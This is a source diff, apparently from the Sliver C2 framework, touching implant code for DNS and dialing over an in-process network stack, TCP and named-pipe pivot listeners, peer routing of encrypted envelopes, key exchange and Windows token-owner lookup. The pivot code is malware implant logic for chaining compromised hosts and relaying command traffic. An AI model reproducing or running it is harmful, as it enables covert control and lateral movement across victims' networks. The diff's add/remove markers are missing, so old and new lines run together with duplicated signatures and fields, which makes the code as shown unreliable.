pc.wq.EventRegister(&e, waiter.EventIn)
defer pc.wq.EventUnregister(&e)
select {
case <-pc.deadline.C:
return 0, nil, os.ErrDeadlineExceeded
case <-notifyCh:
}
w := tcpip.SliceWriter(p)
res, tcpipErr := pc.ep.Read(&w, tcpip.ReadOptions{
NeedRemoteAddr: true,
})
if tcpipErr != nil {
return 0, nil, fmt.Errorf("ping read: %s", tcpipErr)
}
remoteAddr, _ := netip.AddrFromSlice([]byte(res.RemoteAddr.Addr))
return res.Count, &PingAddr{remoteAddr}, nil
}
func (pc *PingConn) Read(p []byte) (n int, err error) {
n, _, err = pc.ReadFrom(p)
return
}
func (pc *PingConn) SetDeadline(t time.Time) error {
// pc.SetWriteDeadline is unimplemented
return pc.SetReadDeadline(t)
}
func (pc *PingConn) SetReadDeadline(t time.Time) error {
pc.deadline.Reset(t.Sub(time.Now()))
return nil
return gonet.DialUDP(net.stack, lfa, rfa, pn)
}
var (
@@ -667,7 +426,7 @@ func dnsStreamRoundTrip(c net.Conn, id uint16, query dnsmessage.Question, b []by
return p, h, nil
}
func (tnet *Net) exchange(ctx context.Context, server netip.Addr, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
q.Class = dnsmessage.ClassINET
id, udpReq, tcpReq, err := newRequest(q)
if err != nil {
@@ -681,19 +440,16 @@ func (tnet *Net) exchange(ctx context.Context, server netip.Addr, q dnsmessage.Q
var c net.Conn
var err error
if useUDP {
c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, netip.AddrPortFrom(server, 53))
c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: server, Port: 53})
} else {
c, err = tnet.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(server, 53))
c, err = tnet.DialContextTCP(ctx, &net.TCPAddr{IP: server, Port: 53})
}
if err != nil {
return dnsmessage.Parser{}, dnsmessage.Header{}, err
}
if d, ok := ctx.Deadline(); ok && !d.IsZero() {
err := c.SetDeadline(d)
if err != nil {
return dnsmessage.Parser{}, dnsmessage.Header{}, err
}
c.SetDeadline(d)
}
var p dnsmessage.Parser
var h dnsmessage.Header
@@ -837,8 +593,8 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
zlen = zidx
}
}
if ip, err := netip.ParseAddr(host[:zlen]); err == nil {
return []string{ip.String()}, nil
if ip := net.ParseIP(host[:zlen]); ip != nil {
return []string{host[:zlen]}, nil
}
if !isDomainName(host) {
@@ -849,7 +605,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
server string
error
}
var addrsV4, addrsV6 []netip.Addr
var addrsV4, addrsV6 []net.IP
lanes := 0
if tnet.hasV4 {
lanes++
@@ -904,7 +660,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
}
break loop
}
addrsV4 = append(addrsV4, netip.AddrFrom4(a.A))
addrsV4 = append(addrsV4, net.IP(a.A[:]))
case dnsmessage.TypeAAAA:
aaaa, err := result.p.AAAAResource()
@@ -916,7 +672,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
}
break loop
}
addrsV6 = append(addrsV6, netip.AddrFrom16(aaaa.AAAA))
addrsV6 = append(addrsV6, net.IP(aaaa.AAAA[:]))
default:
if err := result.p.SkipAnswer(); err != nil {
@@ -932,7 +688,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
}
}
// We don't do RFC6724. Instead just put V6 addresess first if an IPv6 address is enabled
var addrs []netip.Addr
var addrs []net.IP
if tnet.hasV6 {
addrs = append(addrsV6, addrsV4...)
} else {
@@ -969,48 +725,44 @@ func partialDeadline(now, deadline time.Time, addrsRemaining int) (time.Time, er
return now.Add(timeout), nil
}
var protoSplitter = regexp.MustCompile(`^(tcp|udp|ping)(4|6)?$`)
func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
if ctx == nil {
panic("nil context")
}
var acceptV4, acceptV6 bool
matches := protoSplitter.FindStringSubmatch(network)
if matches == nil {
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
} else if len(matches[2]) == 0 {
var acceptV4, acceptV6, useUDP bool
if len(network) == 3 {
acceptV4 = true
acceptV6 = true
} else {
acceptV4 = matches[2][0] == '4'
acceptV6 = !acceptV4
} else if len(network) == 4 {
acceptV4 = network[3] == '4'
acceptV6 = network[3] == '6'
}
var host string
var port int
if matches[1] == "ping" {
host = address
} else {
var sport string
var err error
host, sport, err = net.SplitHostPort(address)
if err != nil {
return nil, &net.OpError{Op: "dial", Err: err}
}
port, err = strconv.Atoi(sport)
if err != nil || port < 0 || port > 65535 {
return nil, &net.OpError{Op: "dial", Err: errNumericPort}
}
if !acceptV4 && !acceptV6 {
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
}
if network[:3] == "udp" {
useUDP = true
} else if network[:3] != "tcp" {
return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
}
host, sport, err := net.SplitHostPort(address)
if err != nil {
return nil, &net.OpError{Op: "dial", Err: err}
}
port, err := strconv.Atoi(sport)
if err != nil || port < 0 || port > 65535 {
return nil, &net.OpError{Op: "dial", Err: errNumericPort}
}
allAddr, err := tnet.LookupContextHost(ctx, host)
if err != nil {
return nil, &net.OpError{Op: "dial", Err: err}
}
var addrs []netip.AddrPort
var addrs []net.IP
for _, addr := range allAddr {
ip, err := netip.ParseAddr(addr)
if err == nil && ((ip.Is4() && acceptV4) || (ip.Is6() && acceptV6)) {
addrs = append(addrs, netip.AddrPortFrom(ip, uint16(port)))
if strings.IndexByte(addr, ':') != -1 && acceptV6 {
addrs = append(addrs, net.ParseIP(addr))
} else if strings.IndexByte(addr, '.') != -1 && acceptV4 {
addrs = append(addrs, net.ParseIP(addr))
}
}
if len(addrs) == 0 && len(allAddr) != 0 {
@@ -1048,13 +800,10 @@ func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.
}
var c net.Conn
switch matches[1] {
case "tcp":
c, err = tnet.DialContextTCPAddrPort(dialCtx, addr)
case "udp":
c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, addr)
case "ping":
c, err = tnet.DialPingAddr(netip.Addr{}, addr.Addr())
if useUDP {
c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: addr, Port: port})
} else {
c, err = tnet.DialContextTCP(dialCtx, &net.TCPAddr{IP: addr, Port: port})
}
if err == nil {
return c, nil
+22 -21
View File
@@ -19,9 +19,7 @@ package pivots
*/
import (
"strings"
"sync"
"time"
// {{if .Config.Debug}}
"log"
@@ -31,37 +29,39 @@ import (
"github.com/lesnuages/go-winio"
)
var (
namedpipePivotReadDeadline = 10 * time.Second
namedpipePivotWriteDeadline = 10 * time.Second
)
// CreateNamedPipePivotListener - Starts a named pipe listener
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
fullName := "\\\\.\\pipe\\" + strings.TrimPrefix(address, "\\\\.\\pipe\\")
// StartNamedPipePivotListener - Starts a named pipe listener
func StartNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
fullName := "\\\\.\\pipe\\" + address
ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
//SecurityDescriptor: "",
RemoteClientMode: true,
})
// {{if .Config.Debug}}
log.Printf("Listening on named pipe %s", fullName)
log.Printf("Listening on %s", fullName)
// {{end}}
if err != nil {
return nil, err
}
pivotLn := &PivotListener{
ID: ListenerID(),
Type: pb.PivotType_NamedPipe,
Listener: ln,
PivotConnections: &sync.Map{},
BindAddress: fullName,
Upstream: upstream,
ID: ListenerID(),
Type: pb.PivotType_NamedPipe,
Listener: ln,
Pivots: &sync.Map{},
BindAddress: fullName,
Upstream: upstream,
}
go namedPipeAcceptConnections(pivotLn)
return pivotLn, nil
}
func namedPipeAcceptConnections(pivotListener *PivotListener) {
// hostname, err := os.Hostname()
// if err != nil {
// // {{if .Config.Debug}}
// log.Printf("Failed to determine hostname %s", err)
// // {{end}}
// hostname = "."
// }
// namedPipe := strings.ReplaceAll(pivotListener.Listener.Addr().String(), ".", hostname)
for {
conn, err := pivotListener.Listener.Accept()
if err != nil {
@@ -69,14 +69,15 @@ func namedPipeAcceptConnections(pivotListener *PivotListener) {
}
// handle connection like any other net.Conn
pivotConn := &NetConnPivot{
id: PivotID(),
conn: conn,
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
readDeadline: namedpipePivotReadDeadline,
writeDeadline: namedpipePivotWriteDeadline,
readDeadline: tcpPivotReadDeadline,
writeDeadline: tcpPivotWriteDeadline,
upstream: pivotListener.Upstream,
Downstream: make(chan *pb.Envelope),
}
go pivotConn.Start(pivotListener.PivotConnections)
go pivotConn.Start(pivotListener.Pivots)
}
}
+91 -205
View File
@@ -43,39 +43,17 @@ const (
)
var (
// ErrFailedWrite - Failed to write to a connection
ErrFailedWrite = errors.New("failed to write")
// ErrFailedKeyExchange - Failed to exchange session and/or peer keys
ErrFailedWrite = errors.New("failed to write")
ErrFailedKeyExchange = errors.New("failed key exchange")
pivotListeners = &sync.Map{}
stoppedPivotListeners = &sync.Map{}
pivotListeners = &sync.Map{}
listenerID = uint32(0)
listenerID = uint32(0)
// MyPeerID - This implant's Peer ID, a per-execution instance ID
MyPeerID = generatePeerID()
pivotReadDeadline = 10 * time.Second
pivotWriteDeadline = 10 * time.Second
PeerID = PivotID() // This implant's Peer ID, a per-execution instance ID
)
// generatePeerID - Generate a new pivot id
func generatePeerID() int64 {
buf := make([]byte, 8)
_, err := rand.Read(buf)
if err != nil {
return time.Now().UnixNano() // These need only be unique
}
peerID := int64(binary.LittleEndian.Uint64(buf))
if peerID == int64(0) {
return time.Now().UnixNano()
}
return peerID
}
// CreateListener - Generic interface to a start listener function
type CreateListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
// StartListener - Generic interface to a start listener function
type StartListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
// GetListeners - Get a list of active listeners
func GetListeners() []*pb.PivotListener {
@@ -90,56 +68,9 @@ func GetListeners() []*pb.PivotListener {
// AddListener - Add a listener
func AddListener(listener *PivotListener) {
// {{if .Config.Debug}}
log.Printf("[pivot] my peer id: %d", MyPeerID)
log.Printf("[pivot] adding listener: %s", listener.BindAddress)
// {{end}}
pivotListeners.Store(listener.ID, listener)
}
// RemoveListener - Stop a pivot listener
func RemoveListener(id uint32) {
if listener, ok := pivotListeners.LoadAndDelete(id); ok {
listener.(*PivotListener).Stop()
}
}
// RestartAllListeners - Start all pivot listeners
func RestartAllListeners(send chan<- *pb.Envelope) {
stoppedPivotListeners.Range(func(key, value interface{}) bool {
stoppedListener := value.(*PivotListener)
if createListener, ok := SupportedPivotListeners[stoppedListener.Type]; ok {
listener, err := createListener(stoppedListener.BindAddress, send)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] failed to restart listener: %s", err)
// {{end}}
}
go listener.Start()
AddListener(listener)
}
return true
})
stoppedPivotListeners = nil
}
// StopAllListeners - Stop all pivot listeners
func StopAllListeners() {
pivotListeners.Range(func(key, value interface{}) bool {
value.(*PivotListener).Stop()
return true
})
stoppedPivotListeners = pivotListeners
pivotListeners = &sync.Map{}
}
// StartListener - Stop a pivot listener
func StartListener(id uint32) {
if listener, ok := pivotListeners.Load(id); ok {
listener.(*PivotListener).Start()
}
}
// StopListener - Stop a pivot listener
func StopListener(id uint32) {
if listener, ok := pivotListeners.Load(id); ok {
@@ -148,74 +79,71 @@ func StopListener(id uint32) {
}
// SendToPeer - Forward an envelope to a peer
func SendToPeer(envelope *pb.Envelope) (bool, error) {
pivotPeerEnvelope := &pb.PivotPeerEnvelope{}
err := proto.Unmarshal(envelope.Data, pivotPeerEnvelope)
func SendToPeer(envelope *pb.Envelope) bool {
peerEnvelope := &pb.PivotPeerEnvelope{}
err := proto.Unmarshal(envelope.Data, peerEnvelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to unmarshal peer envelope: %s", err)
// {{end}}
return false, err
return false
}
// {{if .Config.Debug}}
log.Printf("my peer envelope: %+v", pivotPeerEnvelope)
log.Printf("Peer Envelope: %v", peerEnvelope)
log.Printf("Send to downstream pivot id: %d", peerEnvelope.PivotID)
// {{end}}
nextPeerID, err := findNextPeerID(pivotPeerEnvelope)
downstreamEnvelope := &pb.Envelope{
Type: pb.MsgPivotPeerEnvelope,
Data: peerEnvelope.Data,
}
err = proto.Unmarshal(peerEnvelope.Data, downstreamEnvelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to find next peer id: %s", err)
log.Printf("Failed to unmarshal downstream envelope: %s", err)
// {{end}}
return false, err
return false
}
// NOTE: Yes linear search is bad, but there should be a very small
// number of listeners and pivots so it should be fine
sent := false // Controls iteration of outer loop
pivotListeners.Range(func(key interface{}, value interface{}) bool {
listener := value.(*PivotListener)
pivotConn, ok := listener.PivotConnections.Load(nextPeerID)
if ok {
pivot := pivotConn.(*NetConnPivot)
pivot.Downstream <- envelope
sent = true // break from the outer loop
return false // stop iterating inner loop
}
listener.Pivots.Range(func(key interface{}, value interface{}) bool {
pivot := value.(*NetConnPivot)
if pivot.ID() == peerEnvelope.PivotID {
pivot.Downstream <- downstreamEnvelope
sent = true // break from the outer loop
return false // stop iterating inner loop
}
return true // keep iterating inner loop
})
return !sent // keep iterating while not sent
})
// {{if .Config.Debug}}
if !sent {
// {{if .Config.Debug}}
log.Printf("Failed to find peer with id %d", nextPeerID)
// {{end}}
return false, errors.New("peer not found")
log.Printf("Failed to find pivot with id %d", peerEnvelope.PivotID)
}
return sent, nil
}
func findNextPeerID(pivotPeerEnvelope *pb.PivotPeerEnvelope) (int64, error) {
for index, peer := range pivotPeerEnvelope.Peers {
if peer.PeerID == MyPeerID {
if 0 <= index-1 {
return pivotPeerEnvelope.Peers[index-1].PeerID, nil
}
}
}
return int64(0), errors.New("next peer not found")
// {{end}}
return sent
}
// PivotListener - A pivot listener
type PivotListener struct {
ID uint32
Type pb.PivotType
Listener net.Listener
PivotConnections *sync.Map // PeerID (int64) -> NetConnPivot
BindAddress string
Upstream chan<- *pb.Envelope
ID uint32
Type pb.PivotType
Listener net.Listener
Pivots *sync.Map // ID -> NetConnPivot
BindAddress string
Upstream chan<- *pb.Envelope
}
// ToProtobuf - Get the protobuf version of the pivot listener
func (l *PivotListener) ToProtobuf() *pb.PivotListener {
pivotPeers := []*pb.NetConnPivot{}
l.PivotConnections.Range(func(key interface{}, value interface{}) bool {
pivotPeers := []*pb.PivotPeer{}
l.Pivots.Range(func(key interface{}, value interface{}) bool {
pivot := value.(*NetConnPivot)
pivotPeers = append(pivotPeers, pivot.ToProtobuf())
return true
@@ -228,47 +156,23 @@ func (l *PivotListener) ToProtobuf() *pb.PivotListener {
}
}
// Start - Start the pivot listener
func (p *PivotListener) Start() {
for {
conn, err := p.Listener.Accept()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[tcp-pivot] accept error: %s", err)
// {{end}}
return
}
// handle connection like any other net.Conn
pivotConn := &NetConnPivot{
conn: conn,
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
readDeadline: pivotReadDeadline,
writeDeadline: pivotWriteDeadline,
upstream: p.Upstream,
Downstream: make(chan *pb.Envelope),
}
go pivotConn.Start(p.PivotConnections)
}
}
// Stop - Stop the pivot listener
func (l *PivotListener) Stop() {
l.Listener.Close() // Stop accepting new connections
// Close all existing connections
connectionIDs := []int64{}
l.PivotConnections.Range(func(key interface{}, value interface{}) bool {
connectionIDs = append(connectionIDs, key.(int64))
// Close all peer connections before closing listener
l.Pivots.Range(func(key interface{}, value interface{}) bool {
value.(*NetConnPivot).Close()
return true
})
for _, id := range connectionIDs {
pivotConn, ok := l.PivotConnections.LoadAndDelete(id)
if ok {
pivotConn.(*NetConnPivot).Close()
}
l.Pivots = nil
l.Listener.Close()
}
// PivotClose - Close a pivot connection
func (l *PivotListener) PivotClose(id int64) {
if p, ok := l.Pivots.Load(id); ok {
l.Pivots.Delete(id)
p.(*NetConnPivot).Close()
}
l.PivotConnections = &sync.Map{} // Make sure we drop any refs
}
// ListenerID - Generate a new pivot id
@@ -277,50 +181,55 @@ func ListenerID() uint32 {
return listenerID
}
// PivotID - Generate a new pivot id
func PivotID() int64 {
buf := make([]byte, 8)
rand.Read(buf)
return int64(binary.LittleEndian.Uint64(buf))
}
// NetConnPivot - A generic pivot connection to a peer via net.Conn
type NetConnPivot struct {
downstreamPeerID int64
conn net.Conn
readMutex *sync.Mutex
writeMutex *sync.Mutex
cipherCtx *cryptography.CipherContext
readDeadline time.Duration
writeDeadline time.Duration
id int64
conn net.Conn
readMutex *sync.Mutex
writeMutex *sync.Mutex
cipherCtx *cryptography.CipherContext
readDeadline time.Duration
writeDeadline time.Duration
upstream chan<- *pb.Envelope
Downstream chan *pb.Envelope
}
// DownstreamPeerID - ID of peer pivot
func (p *NetConnPivot) DownstreamPeerID() int64 {
return p.downstreamPeerID
// ID - ID of peer pivot
func (p *NetConnPivot) ID() int64 {
return p.id
}
// ToProtobuf - Protobuf of pivot peer
func (p *NetConnPivot) ToProtobuf() *pb.NetConnPivot {
return &pb.NetConnPivot{
PeerID: p.downstreamPeerID,
func (p *NetConnPivot) ToProtobuf() *pb.PivotPeer {
return &pb.PivotPeer{
ID: p.id,
RemoteAddress: p.RemoteAddress(),
}
}
// Start - Starts the pivot connection handler
// Start - Starts the TCP pivot connection handler
func (p *NetConnPivot) Start(pivots *sync.Map) {
defer func() {
p.conn.Close()
}()
defer p.conn.Close()
err := p.peerKeyExchange()
if err != nil {
return
}
// {{if .Config.Debug}}
log.Printf("[pivot] peer key exchange completed successfully with peer %d", p.downstreamPeerID)
log.Printf("[pivot] peer key exchange completed successfully")
// {{end}}
// We don't want to register the peer prior to the key exchange
// Add & remove self from listener pivots map
pivots.Store(p.DownstreamPeerID(), p)
defer pivots.Delete(p.DownstreamPeerID())
pivots.Store(p.ID(), p)
defer pivots.Delete(p.ID())
go func() {
defer close(p.Downstream)
@@ -337,30 +246,22 @@ func (p *NetConnPivot) Start(pivots *sync.Map) {
Type: pb.MsgPivotPeerPing,
Data: envelope.Data,
}
} else if envelope.Type == pb.MsgPivotPeerEnvelope {
} else {
// {{if .Config.Debug}}
log.Printf("[pivot] received peer envelope, upstreaming (%d) ...", envelope.Type)
// {{end}}
peerEnvelope := &pb.PivotPeerEnvelope{}
err := proto.Unmarshal(envelope.Data, peerEnvelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] error un-marshalling peer envelope: %s", err)
// {{end}}
continue
}
// Append ourselves to the list of peers, and then upstream
peerEnvelope.Peers = append(peerEnvelope.Peers, &pb.PivotPeer{
PeerID: MyPeerID,
Name: consts.SliverName,
envelopeData, _ := proto.Marshal(envelope)
data, _ := proto.Marshal(&pb.PivotPeerEnvelope{
PeerID: PeerID, // This proccess' Peer ID
PivotID: p.ID(), // The Pivot connection ID
Name: consts.SliverName,
Data: envelopeData,
})
envelope.Data, _ = proto.Marshal(peerEnvelope)
p.upstream <- envelope
} else {
// {{if .Config.Debug}}
log.Printf("[pivot] received unknown message type (%d), dropping ...", envelope.Type)
// {{end}}
continue
p.upstream <- &pb.Envelope{
ID: 0, // Pivot server implementation uses handlers, so ID must be zero
Type: pb.MsgPivotPeerEnvelope,
Data: data,
}
}
}
}()
@@ -368,15 +269,6 @@ func (p *NetConnPivot) Start(pivots *sync.Map) {
for envelope := range p.Downstream {
err := p.writeEnvelope(envelope)
if err != nil {
if p.downstreamPeerID != 0 {
p.upstream <- &pb.Envelope{
Type: pb.MsgPivotPeerFailure,
Data: mustMarshal(&pb.PivotPeerFailure{
Type: pb.PeerFailureType_DISCONNECT,
PeerID: p.downstreamPeerID,
}),
}
}
return
}
}
@@ -409,7 +301,6 @@ func (p *NetConnPivot) peerKeyExchange() error {
// {{end}}
return ErrFailedKeyExchange
}
p.downstreamPeerID = peerHello.PeerID
sessionKey := cryptography.RandomKey()
p.cipherCtx = cryptography.NewCipherContext(sessionKey)
ciphertext, err := cryptography.ECCEncryptToPeer(peerHello.PublicKey, peerHello.PublicKeySignature, sessionKey[:])
@@ -570,8 +461,3 @@ func (p *NetConnPivot) RemoteAddress() string {
func (p *NetConnPivot) Close() error {
return p.conn.Close()
}
func mustMarshal(msg proto.Message) []byte {
data, _ := proto.Marshal(msg)
return data
}
+2 -2
View File
@@ -24,6 +24,6 @@ import (
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
var SupportedPivotListeners = map[pb.PivotType]CreateListener{
pb.PivotType_TCP: CreateTCPPivotListener,
var SupportedPivotListeners = map[pb.PivotType]StartListener{
pb.PivotType_TCP: StartTCPPivotListener,
}
+3 -3
View File
@@ -22,7 +22,7 @@ import (
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
var SupportedPivotListeners = map[pb.PivotType]CreateListener{
pb.PivotType_TCP: CreateTCPPivotListener,
pb.PivotType_NamedPipe: CreateNamedPipePivotListener,
var SupportedPivotListeners = map[pb.PivotType]StartListener{
pb.PivotType_TCP: StartTCPPivotListener,
pb.PivotType_NamedPipe: StartNamedPipePivotListener,
}
+33 -8
View File
@@ -35,8 +35,8 @@ var (
tcpPivotWriteDeadline = 10 * time.Second
)
// CreateTCPPivotListener - Start a TCP listener
func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
// StartTCPPivotListener - Start a TCP listener
func StartTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
// {{if .Config.Debug}}
log.Printf("Starting TCP pivot listener on %s", address)
// {{end}}
@@ -48,12 +48,37 @@ func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*Pivo
return nil, err
}
pivotListener := &PivotListener{
ID: ListenerID(),
Type: pb.PivotType_TCP,
Listener: ln,
PivotConnections: &sync.Map{},
BindAddress: address,
Upstream: upstream,
ID: ListenerID(),
Type: pb.PivotType_TCP,
Listener: ln,
Pivots: &sync.Map{},
BindAddress: address,
Upstream: upstream,
}
go tcpPivotAcceptNewConnections(pivotListener)
return pivotListener, nil
}
func tcpPivotAcceptNewConnections(pivotListener *PivotListener) {
for {
conn, err := pivotListener.Listener.Accept()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[tcp-pivot] listener stopping: %s", err)
// {{end}}
return
}
// handle connection like any other net.Conn
pivotConn := &NetConnPivot{
id: PivotID(),
conn: conn,
readMutex: &sync.Mutex{},
writeMutex: &sync.Mutex{},
readDeadline: tcpPivotReadDeadline,
writeDeadline: tcpPivotWriteDeadline,
upstream: pivotListener.Upstream,
Downstream: make(chan *pb.Envelope),
}
go pivotConn.Start(pivotListener.Pivots)
}
}
-27
View File
@@ -1,4 +1,3 @@
//go:build windows
// +build windows
package priv
@@ -596,29 +595,3 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
return privInfo, integrity, processName, nil
}
// CurrentTokenOwner returns the current thread's token owner
func CurrentTokenOwner() (string, error) {
currToken := CurrentToken
// when the windows.Handle is zero (no impersonation), future method calls
// on it result in the windows error INVALID_TOKEN_HANDLE, so we get the
// actual handle
if currToken == 0 {
currToken = windows.GetCurrentProcessToken()
}
return TokenOwner(currToken)
}
// TokenOwner will resolve the primary token or thread owner of the given
// handle
func TokenOwner(hToken windows.Token) (string, error) {
tokenUser, err := hToken.GetTokenUser()
if err != nil {
return "", err
}
user, domain, _, err := tokenUser.User.Sid.LookupAccount("")
if err != nil {
return "", err
}
return fmt.Sprintf(`%s\%s`, domain, user), err
}
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